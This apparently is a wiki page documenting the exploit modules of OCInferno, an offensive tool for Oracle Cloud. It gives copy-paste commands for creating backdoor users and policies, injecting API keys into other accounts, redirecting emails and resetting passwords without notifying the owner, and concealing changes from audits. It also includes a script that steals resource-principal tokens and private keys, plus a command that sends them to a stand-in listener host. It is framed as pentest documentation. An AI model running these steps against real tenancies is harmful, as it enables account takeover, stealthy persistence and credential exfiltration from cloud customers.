-
Notifications
You must be signed in to change notification settings - Fork 2
Exploit Module Reference
This page covers every exploit module in OCInferno: what it does in plain English, the minimum permissions/credential type it needs, every flag it accepts, and copy/paste-ready example commands. For enumeration modules see Enumeration-Module-Reference. For the OpenGraph escalation view these modules map to, see Default Priv-Escalation Mode.
Placeholder convention:
USER_OCID,GROUP_OCID,DOMAIN_URL,POLICY_OCIDare used in every example. Replace them with your actual values. Never commit real credentials, OCIDs, or tenancy details to documentation.
The shipped exploit modules are split across three categories:
-
Identity / IAM (6 modules under
modules/identityclient/exploit/): user creation, API key injection, auth token creation, group creation, group membership, policy writes. - Resource Principal extraction (5 modules, one per service): capture the RPST JWT + private key that OCI injects into serverless runtimes, then reload them as an OCInferno credential. In other words, allows you to start calling APIs as the resource.
-
Container Registry (1 module): push, pull, retag, replace, or delete OCIR images
without
docker login, using OCI API signing.
- Classic vs Identity-Domain: how target resolution actually works
- Quick Reference
- Identity Client Exploits
- Resource Principal (RPST) Extraction
- Auth Token Use
- Container Registry Exploits
- Cleaning up after testing
- Background: Manual Extraction Reference
Every Identity exploit module here can operate against either OCI's classic IAM API or an
identity domain's SCIM API (--classic vs --idd --domain-url <DOMAIN_URL>). Most
modern tenancies are domain-based (the default for any tenancy created since late 2021),
which means classic IAM is a thin compatibility layer over a "Default" identity domain --
there is no truly separate "classic-only" user/group in that setup, just two APIs pointing at
the same underlying identity.
-
If a target is already in the workspace DB (from
enum_identity), the--classic/--iddflag is ignored — the cached kind is used instead. Pass a raw OCID that isn't in the DB to force a specific path. -
exploit_write_policyhas no--idd/--classicflag — IAM policies are a classic-IAM object. Its subject can still target an identity-domain group via--group NAME --domain Default.
| Module | Plain English | Minimum Prerequisites |
|---|---|---|
| exploit_create_user | Create a brand-new IAM user, optionally with an API key | Classic: Tenancy Administrator-level USER_CREATE. IDD: an admin app-role on the target domain (e.g. Identity Domain Administrator) |
| exploit_add_user_api_key | Upload your own API signing key to an existing user -> log in as them | Classic: USER_UPDATE + USER_APIKEY_ADD on the target. IDD: a domain admin app-role, or USER_UPDATE+USER_APIKEY_ADD-equivalent self-service (every user can always add a key to themselves) |
| exploit_add_user_auth_token | Create or delete an OCI auth token for a target user — for OCIR docker login, DevOps HTTPS git, Swift API |
USER_UPDATE + AUTH_TOKEN_CREATE on the target. Targeting yourself (--self): no permissions needed |
| exploit_create_group | Create a new IAM group to place controlled identities in | Classic: GROUP_CREATE (manage groups covers it). IDD: a domain admin app-role on the target domain |
| exploit_add_self_to_group | Add a user to a group to inherit its permissions | Classic: USER_UPDATE (over the member) + GROUP_UPDATE (over the group). IDD: a domain group-management app-role |
| exploit_update_user | Change a user's email — redirects the password-reset link to a pentester inbox | Classic: USER_UPDATE on the target. IDD: domain admin app-role |
| exploit_reset_password | Reset a user's console/domain password — returns it directly (classic) or delivers via email/OTP (IDD) | Classic: USER_UPDATE on the target. IDD: domain admin app-role |
| exploit_write_policy | Create/append an IAM policy granting broad access |
POLICY_CREATE/POLICY_UPDATE (manage policies) at the target scope |
| exploit_ocir_image_manipulate | Upload, pull, retag, replace, or delete OCIR images using OCI API signing (no docker login) |
read repos-family (listing/pull); manage repos-family (upload/replace/delete/retag) |
All identity modules support --yes/--no-prompt for non-interactive/scripted use, and all use the same
target-resolution flags where applicable: --user-ocid / --user-name (matched against the
workspace DB) / --self (the active credential's own user).
These eight modules target OCI IAM (classic) and Identity Domains (IDD) objects — users, groups, and policies. Each supports both the classic IAM API and the IDD REST API; target resolution is described in Classic vs Identity-Domain: how target resolution actually works.
Module path: modules.identityclient.exploit.exploit_create_user
OpenGraph Edges: OCI_CREATE_USER / IDD_CREATE_USER
Creates a brand-new IAM user -- classic or identity-domain. A freshly created user has no
credentials of its own, so this module can immediately chain into minting an API key
(--with-api-key) or starting a full session as the new user (--assume), turning a single
USER_CREATE-class permission into a controlled, persistent identity you fully own. This is
primarily a persistence primitive (a new identity with reduced attribution / longer-term
access) rather than an immediate escalation by itself -- it becomes an escalation when
combined with a permissive Allow any-user ... policy statement already in scope, or when
chained with exploit_write_policy/exploit_add_self_to_group afterward.
You discover a policy statement Allow any-user to manage all-resources in tenancy in the tenancy root. Any user — including one you create right now — inherits that permission immediately. Run exploit_create_user --classic --with-api-key --assume to mint a new user, upload an API key, and start a session as them in a single step. That new user now has tenancy-admin access via the existing any-user policy, with no further exploitation needed.
-
Classic path: Tenancy Administrator-level access —
manage users(orUSER_CREATE) at the tenancy root. A domain-admin credential alone is not enough here; if that's all you have, use--iddinstead. - Identity-domain path: Any domain admin app-role on the target domain — Identity Domain Administrator, User Administrator, or User Manager all work (see Default Priv-Escalation Mode).
-
Tip: Always pass
--email. In domain-based tenancies OCI requires it on the classic path too, even though the flag shows as optional in help output.
| Flag | Description |
|---|---|
--name |
Username for the new user (prompted if omitted). |
--email |
Email address. Prompted interactively if omitted; required for IDD, and in practice required for classic too in domain-based tenancies (see gotcha above). |
--given-name, --family-name
|
IDD profile fields. |
--description |
Classic description field. |
--compartment-id |
Classic: compartment for the user (default tenancy root). |
--idd, --domain-url
|
Create an identity-domain user via SCIM against the given domain endpoint. |
--classic |
Create a classic IAM user (mutually exclusive with --idd). |
--console-password |
Classic only: also set + return a console (UI) password. |
--with-api-key |
Also mint an API signing key on the new user. |
--assume, --assume-name
|
Mint a key AND start + save a session as the new user (implies --with-api-key). |
--yes / --no-prompt
|
Non-interactive (requires --name, and --idd/--classic explicitly). |
With OCInferno:
# Classic, tenancy-admin credential, full takeover chain
modules run exploit_create_user --classic --name pentester1 \
--email pentester1@example.invalid --with-api-key --console-password --yes
# Identity-domain, domain-admin credential
modules run exploit_create_user --idd --domain-url https://idcs-xxxx.identity.oraclecloud.com \
--name pentester1 --email pentester1@example.invalid --with-api-key --yes
# Non-interactive one-liner (drive-through, no REPL)
python -m ocinferno --module exploit_create_user --workspace WORKSPACE_NAME --cred CRED_NAME \
--classic --name pentester1 --email pentester1@example.invalid --with-api-key --assume --yesWithout OCInferno (OCI CLI):
# Generate RSA keypair
openssl genrsa -out pentester.pem 4096
openssl rsa -in pentester.pem -pubout -out pentester_pub.pem
# Classic: create user
oci iam user create \
--name pentester1 \
--email pentester1@example.invalid \
--compartment-id TENANCY_OCID \
--profile CRED_NAME
# Classic: upload API key to new user
oci iam user api-key upload \
--user-id NEW_USER_OCID \
--key "$(cat pentester_pub.pem)" \
--profile CRED_NAME
# IDD: SCIM (no native OCI CLI wrapper — use curl with a domain access token)
curl -sS -X POST "DOMAIN_URL/admin/v1/Users" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d '{"schemas":["urn:ietf:params:scim:schemas:core:2.0:User"],"userName":"pentester1","name":{"givenName":"Pentester","familyName":"One"},"emails":[{"value":"pentester1@example.invalid","primary":true}]}'Module path: modules.identityclient.exploit.exploit_add_user_api_key
OpenGraph Edges: OCI_CREATE_USER_API_KEY / IDD_CREATE_USER_API_KEY
Uploads an pentester-controlled RSA public key to an existing user (classic or
identity-domain), giving you programmatic API access as that user via the matching private
key -- no password needed. This is the single most direct account-takeover primitive in the
suite: one API call converts a permission grant into a durable, non-interactive credential.
Per OCI's own documentation, every user can always add an API key to themselves with no
policy grant at all, so --self always works regardless of any explicit
OCI_CREATE_USER_API_KEY edge.
You find a service account user in enum_identity that is a member of the Administrators group. Your active credential has USER_UPDATE + USER_APIKEY_ADD on it. Run exploit_add_user_api_key --user-name svc-admin --assume to upload your own public key and immediately start a session as that service account — inheriting full admin access through its group membership, with no password or console login needed.
-
Targeting someone else — classic:
USER_UPDATE+USER_APIKEY_ADDon the target user. - Targeting someone else — identity-domain: a domain admin app-role (Identity Domain Administrator or User Administrator).
-
Targeting yourself (
--self): no permissions needed — OCI lets every user upload keys to their own account on either path.
| Flag | Description |
|---|---|
--user-ocid / --user-name / --self
|
Target user (OCID, DB name match, or the active credential's own user). |
--idd, --domain-url
|
Treat a manually-entered target as identity-domain (forces the SCIM path; ignored if the target is already DB-cached -- see target resolution). |
--classic |
Treat a manually-entered target as classic IAM. |
--public-key-path |
Use an existing PEM public key instead of generating a fresh keypair. |
--key-size |
RSA key size when generating (default 2048). |
--description |
Optional label for the created key (IDD only). |
--assume, --assume-name
|
After minting, start + save a new session AS that user. |
--yes / --no-prompt
|
Non-interactive (requires a resolvable target). |
With OCInferno:
modules run exploit_add_user_api_key --self --assume
modules run exploit_add_user_api_key --user-ocid USER_OCID --classic --yes
modules run exploit_add_user_api_key --user-ocid USER_OCID --idd \
--domain-url https://idcs-xxxx.identity.oraclecloud.com --yesWithout OCInferno (OCI CLI):
# Generate keypair
openssl genrsa -out pentester.pem 4096
openssl rsa -in pentester.pem -pubout -out pentester_pub.pem
# Classic: upload API key
oci iam user api-key upload \
--user-id USER_OCID \
--key "$(cat pentester_pub.pem)" \
--profile CRED_NAME
# IDD: SCIM API key upload
curl -sS -X POST "DOMAIN_URL/admin/v1/ApiKeys" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d "{\"schemas\":[\"urn:ietf:params:scim:schemas:oracle:idcs:ApiKey\"],\"user\":{\"value\":\"SCIM_USER_ID\"},\"publicKey\":\"$(cat pentester_pub.pem)\",\"name\":\"pentester-key\"}"Live-tested tip: a freshly-uploaded API key takes roughly 10-30 seconds to propagate. The first call on an
--assume'd session may 401 (NotAuthenticated) -- just retry.
Module path: modules.identityclient.exploit.exploit_add_user_auth_token
OpenGraph Edges: None (prerequisite/supporting action, not a direct privilege escalation edge)
Creates or deletes an OCI auth token for a target user. Auth tokens are opaque credentials used for:
- OCIR
docker login(docker login REGION.ocir.io) - DevOps git clone over HTTPS (as the git password)
- Swift API access
- Any other OCI service that accepts HTTP Basic auth
The token value is shown only once at creation time and cannot be retrieved
later — save it immediately. --for-ocir prints a ready-made docker login command.
--save stores the token in OCInferno's auth-token store so other modules
(exploit_devops_repositories_download, exploit_ocir_image_manipulate --auth-token)
can pick it up automatically.
Note: For OCIR push/pull where you already have an OCI API key (the common case),
exploit_ocir_image_manipulateuses OCI request signing and does NOT need an auth token at all. Create an auth token only when you need docker CLI, crane, skopeo, or DevOps HTTPS git access.
You have USER_UPDATE on a CI service account. Create an auth token for it (exploit_add_user_auth_token --user-ocid USER_OCID --save --yes), then use the token to docker push your RPST image to OCIR under the service account's identity — the OCIR access log records the service account, not your pentester identity. Alternatively, pass the saved token directly to exploit_functions_rpst --tarball or exploit_ocir_image_manipulate --auth-token and skip the docker login entirely.
-
Targeting someone else (classic):
USER_UPDATE+AUTH_TOKEN_CREATEon the target user. -
Targeting yourself (
--self): no permissions needed — every user can always create auth tokens for their own account.
| Flag | Description |
|---|---|
--user-ocid / --user-name / --self
|
Target user (OCID, DB name match, or the active credential's own user). |
--idd, --domain-url
|
Treat a manually-entered target as an identity-domain user (forces SCIM path; ignored if target is DB-cached). |
--classic |
Treat a manually-entered target as a classic IAM user. |
--description |
Token description (default: ocinferno-pentest). |
--for-ocir |
After creation, print a ready-made docker login command for OCIR. |
--save |
Save the token into OCInferno's auth-token store (configs auth-tokens) for reuse by other modules. |
--delete, --token-id
|
Delete an existing token by its ID (requires a target user + --token-id). |
--yes / --no-prompt
|
Non-interactive; skip confirmation prompts. |
With OCInferno:
# Create a token for yourself; print docker login command
modules run exploit_add_user_auth_token --self --for-ocir --save
# Create a token for another user (non-interactive)
modules run exploit_add_user_auth_token --user-ocid USER_OCID --save --yes
# Create + immediately print docker login command (useful for OCIR push)
modules run exploit_add_user_auth_token --self --for-ocir --yes
# Delete a specific token
modules run exploit_add_user_auth_token --self --delete --token-id TOKEN_ID --yesWithout OCInferno (OCI CLI):
# Create auth token (token value shown once — save it now)
oci iam auth-token create \
--user-id USER_OCID \
--description "ocir-push" \
--profile CRED_NAME
# Delete auth token
oci iam auth-token delete \
--user-id USER_OCID \
--auth-token-id TOKEN_ID \
--profile CRED_NAME --force
# docker login using the auth token (Identity Domain tenancy)
docker login REGION_CODE.ocir.io \
-u "OBJECT_STORAGE_NAMESPACE/DOMAIN_NAME/USERNAME" \
-p "AUTH_TOKEN_VALUE"Module path: modules.identityclient.exploit.exploit_create_group
OpenGraph Edges: OCI_CREATE_GROUP / IDD_CREATE_GROUP
Creates a new IAM group -- classic or identity-domain. A freshly created group has no
members, so this module is typically chained with exploit_add_self_to_group to place a
controlled user inside it, and exploit_write_policy to grant the group permissions. This
is primarily a persistence and lateral-movement primitive: owning a group lets you expand
access to any user you place in it, and decouples the permission grant (the group's policy)
from the specific identity that will use it.
You have manage groups and manage policies but are not yet a member of any privileged group. Create a new group (exploit_create_group --classic --name backdoor), write a policy granting it admin (exploit_write_policy --group backdoor --resource all-resources), then add yourself to it (exploit_add_self_to_group --group-name backdoor). You now have tenancy admin access through an identity chain you fully control — and you can add other users to the group at any time.
-
Classic path:
manage groups(orGROUP_CREATE) at the tenancy root or compartment scope. - Identity-domain path: Any domain admin app-role on the target domain (Identity Domain Administrator or equivalent).
| Flag | Description |
|---|---|
--name |
Name for the new group (prompted if omitted). |
--description |
Description for the new group (classic). |
--compartment-id |
Classic: compartment for the group (default tenancy root). |
--idd, --domain-url
|
Create an identity-domain group via SCIM against the given domain endpoint. |
--classic |
Create a classic IAM group (mutually exclusive with --idd). |
--yes / --no-prompt
|
Non-interactive (requires --name, and --idd/--classic explicitly). |
With OCInferno:
# Classic group at tenancy root
modules run exploit_create_group --classic --name pentesters --yes
# Identity-domain group
modules run exploit_create_group --idd --domain-url https://idcs-xxxx.identity.oraclecloud.com \
--name pentesters --yes
# Non-interactive one-liner (drive-through, no REPL)
python -m ocinferno --module exploit_create_group --workspace WORKSPACE_NAME --cred CRED_NAME \
--classic --name pentesters --yesWithout OCInferno (OCI CLI):
# Classic
oci iam group create \
--name pentesters \
--description "pentester group" \
--compartment-id TENANCY_OCID \
--profile CRED_NAME
# IDD: SCIM
curl -sS -X POST "DOMAIN_URL/admin/v1/Groups" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d '{"schemas":["urn:ietf:params:scim:schemas:core:2.0:Group"],"displayName":"pentesters"}'Module path: modules.identityclient.exploit.exploit_add_self_to_group
OpenGraph Edges: OCI_ADD_SELF_TO_GROUP / IDD_ADD_SELF_TO_GROUP
Adds a user (default: the active credential's own user) to a group, immediately inheriting every permission that group's policies grant. This is a derived self-placement path -- holding the right update permissions over users/groups lets you place yourself into a higher-privileged group without ever being explicitly invited.
enum_identity shows a group called DatabaseAdmins with a policy granting manage autonomous-database-family in tenancy. Your credential has manage groups on it. Run exploit_add_self_to_group --group-name DatabaseAdmins — you immediately gain full database admin access without the DB team being notified, because no new user or policy was created.
-
Classic path:
USER_UPDATEon the member +GROUP_UPDATEon the group (manage groupscovers both). - Identity-domain path: A group-management app-role on the domain.
- Note: The group's kind (classic vs IDD) determines which path runs, not the member's. See target resolution.
| Flag | Description |
|---|---|
--user-ocid / --user-name
|
Member to add (default: the active credential's own user). |
--group-ocid / --group-name
|
Target group. |
--group-scim-id |
IDD group SCIM id, if already known. |
--idd, --domain-url
|
Identity-domain group. |
--classic |
Classic IAM group. |
--yes / --no-prompt
|
Non-interactive. |
With OCInferno:
modules run exploit_add_self_to_group --group-ocid GROUP_OCID
modules run exploit_add_self_to_group --group-ocid GROUP_OCID --idd \
--domain-url https://idcs-xxxx.identity.oraclecloud.com
modules run exploit_add_self_to_group --user-ocid USER_OCID --group-name Administrators --yesWithout OCInferno (OCI CLI):
# Classic
oci iam group add-user \
--user-id USER_OCID \
--group-id GROUP_OCID \
--profile CRED_NAME
# IDD: SCIM patch
curl -sS -X PATCH "DOMAIN_URL/admin/v1/Groups/GROUP_SCIM_ID" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d '{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],"Operations":[{"op":"add","path":"members","value":[{"value":"USER_SCIM_ID"}]}]}'Module path: modules.identityclient.exploit.exploit_update_user
OpenGraph Edges: OCI_UPDATE_USER / IDD_UPDATE_USER
Edits a user's email address (and optionally description on the classic path). The primary abuse case is redirecting the password-reset link: change the target user's email to a pentester-controlled address, then run exploit_reset_password — the reset link (or OTP) arrives in your inbox, completing the account takeover without ever needing the original credentials. Requires USER_UPDATE on the target, or a domain admin app-role for identity-domain users.
You find jsmith@corp.com is a member of the Administrators group but you have no way to get their password or API key directly. You have a domain admin app-role. Change their email to attacker@example.invalid (exploit_update_user --user-name jsmith --idd --domain-url DOMAIN_URL --email attacker@example.invalid), then run exploit_reset_password --user-name jsmith --idd --domain-url DOMAIN_URL — OCI sends the password-reset link to the redirected address, which lands in your controlled inbox. Follow the link to set a new password and log in to the console as a tenancy admin.
-
Classic path:
USER_UPDATEon the target user. - Identity-domain path: A domain admin app-role (Identity Domain Administrator or User Administrator).
| Flag | Description |
|---|---|
--user-ocid / --user-name / --self
|
Target user (OCID, DB name match, or the active credential's own user). |
--email |
New email to set (prompted if omitted). |
--description |
New description (classic only). |
--idd, --domain-url
|
Identity-domain target. |
--classic |
Classic IAM target. |
--yes / --no-prompt
|
Non-interactive (requires a resolvable target and --email). |
With OCInferno:
# Redirect a user's email (sets up the exploit_reset_password takeover chain)
modules run exploit_update_user --user-ocid USER_OCID --email pentester@example.invalid --yes
# Self (redirect your own email)
modules run exploit_update_user --self --email pentester@example.invalid --yes
# Identity-domain user
modules run exploit_update_user --user-ocid USER_OCID --idd \
--domain-url https://idcs-xxxx.identity.oraclecloud.com --email pentester@example.invalid --yesWithout OCInferno (OCI CLI):
# Classic: update email
oci iam user update \
--user-id USER_OCID \
--email pentester@example.invalid \
--profile CRED_NAME
# IDD: SCIM PATCH
curl -sS -X PATCH "DOMAIN_URL/admin/v1/Users/SCIM_USER_ID" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d '{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],"Operations":[{"op":"replace","path":"emails[primary eq true].value","value":"pentester@example.invalid"}]}'Module path: modules.identityclient.exploit.exploit_reset_password
OpenGraph Edges: OCI_RESET_USER_PASSWORD / IDD_RESET_USER_PASSWORD
Resets a user's password.
Classic path: Calls OCI's CreateOrResetUIPassword API and returns the new password directly in the terminal — immediate console login, no email sent.
Identity-domain path: Calls OCI's UserPasswordResetter SCIM resource (PUT /admin/v1/UserPasswordResetters/{id}). By default, OCI emails a reset link to the account's current email address. With --bypass-notification, the bypassNotification attribute is set to true on the request — OCI skips the email entirely and returns a one-time password directly in the response instead. This behaviour is publicly documented in the OCI Identity Domains REST API reference under UserPasswordResetter — Reset a User Password (Random Value). Because the email flow lands in the account's inbox, it is most useful after first redirecting the account's email via exploit_update_user, or use --new-email to do both in a single step.
You have a domain admin app-role via a compromised service account. You want console access as ceo@corp.com without triggering an email notification. Run exploit_reset_password --user-name ceo --idd --domain-url DOMAIN_URL --bypass-notification — you get an OTP back directly in the terminal. Log in at the OCI console before it expires. No email is sent to the original account.
-
Classic path:
USER_UPDATEon the target user. -
Identity-domain path (
--bypass-notification, returns OTP directly): Domain admin app-role required. - Identity-domain path (sends reset email): Identity Domain Administrator or User Administrator.
| Flag | Description |
|---|---|
--user-ocid / --user-name / --self
|
Target user (OCID, DB name match, or the active credential's own user). |
--idd, --domain-url
|
Identity-domain target. |
--classic |
Classic IAM target. |
--bypass-notification |
IDD: return a one-time password directly instead of emailing a reset link (requires domain admin). |
--new-email |
IDD: change the user's email to this address before the reset in a single step (alternative to running exploit_update_user separately). |
--yes / --no-prompt
|
Non-interactive. |
With OCInferno:
# Classic: returns new console password directly
modules run exploit_reset_password --user-ocid USER_OCID --classic --yes
# IDD: get OTP directly (requires domain admin)
modules run exploit_reset_password --user-ocid USER_OCID --idd \
--domain-url https://idcs-xxxx.identity.oraclecloud.com --bypass-notification --yes
# IDD: redirect email and reset in one step
modules run exploit_reset_password --user-ocid USER_OCID --idd \
--domain-url https://idcs-xxxx.identity.oraclecloud.com \
--new-email pentester@example.invalid --bypass-notification --yes
# Full two-step takeover chain
modules run exploit_update_user --user-ocid USER_OCID --email pentester@example.invalid --yes
modules run exploit_reset_password --user-ocid USER_OCID --idd \
--domain-url https://idcs-xxxx.identity.oraclecloud.com --yesWithout OCInferno (OCI CLI):
# Classic: create/reset console password (new password returned in response)
oci iam user ui-password create-or-reset \
--user-id USER_OCID \
--profile CRED_NAME
# IDD: send password-reset email (lands at the account's current email)
curl -sS -X POST "DOMAIN_URL/admin/v1/UserPasswordChanger" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d '{"schemas":["urn:ietf:params:scim:api:messages:oracle:idcs:UserPasswordChanger"],"user":{"value":"SCIM_USER_ID"},"type":"resetPassword"}'
# IDD: generate OTP directly (bypass-notification, requires admin)
curl -sS -X POST "DOMAIN_URL/admin/v1/UserPasswordChanger" \
-H "Authorization: Bearer ACCESS_TOKEN" \
-H "Content-Type: application/scim+json" \
-d '{"schemas":["urn:ietf:params:scim:api:messages:oracle:idcs:UserPasswordChanger"],"user":{"value":"SCIM_USER_ID"},"type":"resetPassword","bypassNotification":true}'Takeover chain:
exploit_update_user --email pentester@example.invalid→exploit_reset_password --bypass-notification(get OTP) orexploit_reset_password(reset link arrives at pentester inbox). The OTP returned by--bypass-notificationis valid for a single console login.
Module path: modules.identityclient.exploit.exploit_write_policy
OpenGraph Edges: OCI_CREATE_POLICY / OCI_UPDATE_POLICY
Creates a brand-new IAM policy (or appends a statement to an existing one) granting broad
access -- the highest-blast-radius identity privilege escalation in the suite, since one
policy statement can grant manage all-resources tenancy-wide to any subject you choose:
any-user (everyone), yourself specifically (via a request.user.id condition), a chosen
user OCID, a group, or a dynamic-group. --append-to edits an existing policy instead of
creating a new one, which is stealthier (no new policy object appears in an audit of
recently-created resources).
Unlike the other 4 modules, this one has no --idd/--classic flag -- IAM policy
objects are inherently a classic-IAM construct in OCI, even in a domain-based tenancy. Its
subject can still reference an identity-domain group via --group NAME --domain Default.
Your credential has manage policies at the tenancy root but isn't in any privileged group. Create a backdoor policy scoped to your own user OCID: exploit_write_policy --self --resource all-resources — this emits Allow any-user to manage all-resources in tenancy where request.user.id = '<your OCID>'. You now have tenancy admin access tied to your specific identity, without touching any group membership. For a lower-profile alternative, use --append-to EXISTING_POLICY_OCID to embed the statement in an existing policy rather than creating a new, detectable object.
-
manage policies(coversPOLICY_CREATEandPOLICY_UPDATE) at the target scope — in practice this means Tenancy Administrator or a compartment-scoped policy-admin grant. -
Tip: If you hit compartment-scoping errors, omit
--compartment-idto default to the tenancy root — it's the most reliable target.
| Flag | Description |
|---|---|
--any-user |
Grant to any-user (everyone becomes admin -- noisy, high blast radius). |
--self |
Grant to your own user via a request.user.id condition. |
--target-user-ocid |
Grant to a specific user OCID via condition. |
--group |
Grant to a group by name. |
--dynamic-group |
Grant to a dynamic-group by name. |
--domain |
Identity-domain qualifier for --group/--dynamic-group (e.g. Default); OCID subjects ignore it. |
--verb |
manage/use/read/inspect (default manage). |
--resource |
Resource type (default all-resources). |
--scope |
tenancy (default) or a compartment name/OCID. |
--statement |
Raw policy statement(s), repeatable -- overrides the builder entirely. |
--append-to |
Existing policy OCID to APPEND to (update instead of create; stealthier). |
--name, --compartment-id, --description
|
Create-mode metadata (compartment defaults to tenancy root -- see gotcha above). |
--yes / --no-prompt
|
Non-interactive. |
With OCInferno:
# Grant yourself tenancy-wide admin
modules run exploit_write_policy --self --yes
# Grant an identity-domain group broad access
modules run exploit_write_policy --group Administrators --domain Default --yes
# Append a narrow grant to an existing policy (stealthier than creating a new one)
modules run exploit_write_policy --append-to POLICY_OCID --target-user-ocid USER_OCID \
--verb manage --resource all-resources --scope tenancy --yes
# Raw statement, full control
modules run exploit_write_policy --statement "Allow any-user to manage all-resources in tenancy" --yesWithout OCInferno (OCI CLI):
# Create a new policy granting tenancy-wide admin
oci iam policy create \
--name pentester-admin \
--compartment-id TENANCY_OCID \
--description "pentester admin policy" \
--statements '["Allow any-user to manage all-resources in tenancy"]' \
--profile CRED_NAME
# Append a statement to an existing policy (fetch current statements first)
EXISTING=$(oci iam policy get --policy-id POLICY_OCID --profile CRED_NAME \
| python3 -c "import json,sys; print(json.dumps(json.load(sys.stdin)['data']['statements']))")
NEW=$(echo "$EXISTING" | python3 -c "import json,sys; s=json.load(sys.stdin); s.append('Allow any-user to manage all-resources in tenancy'); print(json.dumps(s))")
oci iam policy update \
--policy-id POLICY_OCID \
--statements "$NEW" \
--version-date "" \
--profile CRED_NAMENote — RPST tokens remain valid after resource deletion. An RPST is a signed JWT. OCI validates it by checking the JWT signature and the
exp(expiry) claim only — it does not check whether the resource that issued the token still exists. This means that even if you use--cleanup(or any other method) to delete the underlying resource after retrieving the token, the RPST continues to grant the same API access until the JWT expires.For all RPST-capable services: capture first, then clean up. The cleanup step reduces your operational footprint but does not shorten the token's validity window. Plan for the full TTL (typically 12 hours for most services) when assessing exposure.
OCI injects a Resource Principal Session Token (RPST) — a short-lived JWT plus a matching private key — into the execution environment of several serverless runtimes (DataFlow, Data Science, DevOps, Functions, Container Instances). The RPST represents an OCI identity that can call APIs within the scope of its policy grant. In simple terms, resources authenticate to OCI using a token and a private key, which OCInferno supports as added credentials. Whether that resource has permissions is dependent on the IAM policies.
These five modules capture the RPST and private key, then save them as an OCInferno credential so you can sign OCI API calls as the resource principal. Each module includes a Service Background section with extraction scripts, DG setup notes, and manual CLI walkthrough for that service.
For services without an automated exploit module, see Background: Manual Extraction Reference at the bottom of this page.
Module path: modules.dataflow.exploit.exploit_dataflow_runs_rpst
OpenGraph Edges: GENERATE_RPST_DATAFLOW_RUN
Creates a DataFlow application and run whose script reads the resource-principal environment
variables and prints them between RPST_START/RPST_END markers. After the run finishes
the module retrieves stdout via the DataFlow get_run_log() API — no OCI Logging or Object
Storage read permissions required. Optionally also POSTs to an pentester listener.
Dynamic Group rule: All {resource.type = 'dataflowrun', resource.compartment.id = 'COMP_OCID'}
enum_dataflow found a DataFlow application running in a compartment whose dynamic group has manage all-resources in tenancy. Your credential has manage data-flow-family in that compartment. Run exploit_dataflow_runs_rpst --bucket PENTESTER_BUCKET --assume — the module submits a run, waits for completion, retrieves the RPST from stdout, and saves it as a new credential. You can now call any OCI API as that DataFlow service identity.
manage data-flow-family in compartment
manage objects in compartment (script + logs bucket)
-
python— Spark 3.2.1 (default) -
python-classic— VM.Standard2.1 -
python-33— Spark 3.3.4 (not available in all regions) -
java— requires a pre-compiled JAR via--jar-file -
scala— requires a pre-compiled JAR via--jar-file
Run modules run exploit_dataflow_runs_rpst --preplay list for the full table plus Java/Scala source code.
| Flag | Description |
|---|---|
--bucket |
Object Storage bucket for script + logs (prompted if omitted) |
--preplay |
Play name (default python) |
--output-url |
Also POST RPST to this URL |
--logs-bucket |
Separate logs bucket (defaults to --bucket) |
--script-file |
Custom .py script instead of built-in play |
--jar-file |
JAR file for java/scala plays |
--cleanup |
Delete the DataFlow application after the run |
--assume |
Auto-save captured RPST without prompting |
--wait-minutes |
Run timeout (default 20) |
With OCInferno:
# Default play, in-band log retrieval
modules run exploit_dataflow_runs_rpst --bucket BUCKET_NAME --assume --cleanup
# Exfil to listener
modules run exploit_dataflow_runs_rpst --preplay python --bucket BUCKET_NAME --output-url http://COLLAB_HOST/rpst --cleanup
# Show plays
modules run exploit_dataflow_runs_rpst --preplay listWithout OCInferno (OCI CLI):
# 1. Upload extraction script to Object Storage
oci os object put --bucket-name BUCKET_NAME --name bad_job.py \
--file bad_job.py --profile CRED_NAME
# 2. Create DataFlow application (Flex shape; --logs-bucket-uri enables in-band log retrieval)
oci data-flow application create \
--compartment-id COMPARTMENT_OCID \
--display-name "bad-app" \
--driver-shape VM.Standard.E4.Flex \
--executor-shape VM.Standard.E4.Flex \
--driver-shape-config '{"ocpus":1,"memoryInGBs":15}' \
--executor-shape-config '{"ocpus":1,"memoryInGBs":15}' \
--file-uri "oci://BUCKET_NAME@OBJECT_STORAGE_NAMESPACE/bad_job.py" \
--logs-bucket-uri "oci://BUCKET_NAME@OBJECT_STORAGE_NAMESPACE/" \
--language PYTHON \
--num-executors 1 \
--spark-version 3.2.1 \
--profile CRED_NAME
# 3. Submit run
oci data-flow run create \
--application-id APPLICATION_OCID \
--compartment-id COMPARTMENT_OCID \
--display-name ocinferno-rpst-run \
--profile CRED_NAME
# 4. Poll until SUCCEEDED (lifecycle-state)
oci data-flow run get --run-id RUN_OCID --profile CRED_NAME
# 5. List log files, then retrieve stdout (contains RPST between markers)
oci data-flow run list-logs --run-id RUN_OCID --profile CRED_NAME
oci data-flow run get-log \
--run-id RUN_OCID \
--name "spark_application_stdout.log.gz" \
--file - \
--profile CRED_NAMEIn place (bad_job.py) — submitted as the Spark driver. Reads the RPST JWT and private key from the env-var paths OCI injects and prints them between RPST_START/RPST_END markers (parsed by the module from the DataFlow log API — no listener required):
import os, json
rpst_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_RPST', '')
pk_path = os.environ.get('OCI_RESOURCE_PRINCIPAL_PRIVATE_PEM', '')
version = os.environ.get('OCI_RESOURCE_PRINCIPAL_VERSION', 'NOT_SET')
region = os.environ.get('OCI_RESOURCE_PRINCIPAL_REGION', 'NOT_SET')
rpst = open(rpst_path).read().strip() if rpst_path and os.path.exists(rpst_path) else 'NO_RPST'
pk = open(pk_path).read().strip() if pk_path and os.path.exists(pk_path) else 'NO_PK'
print('=== RPST_START ===')
print(json.dumps({'version': version, 'region': region, 'rpst': rpst, 'pk': pk}))
print('=== RPST_END ===')Exfil variant (bad_job.py) — also POSTs the RPST to an external listener. Used when --output-url is passed:
import os, json
from urllib.request import urlopen, Request
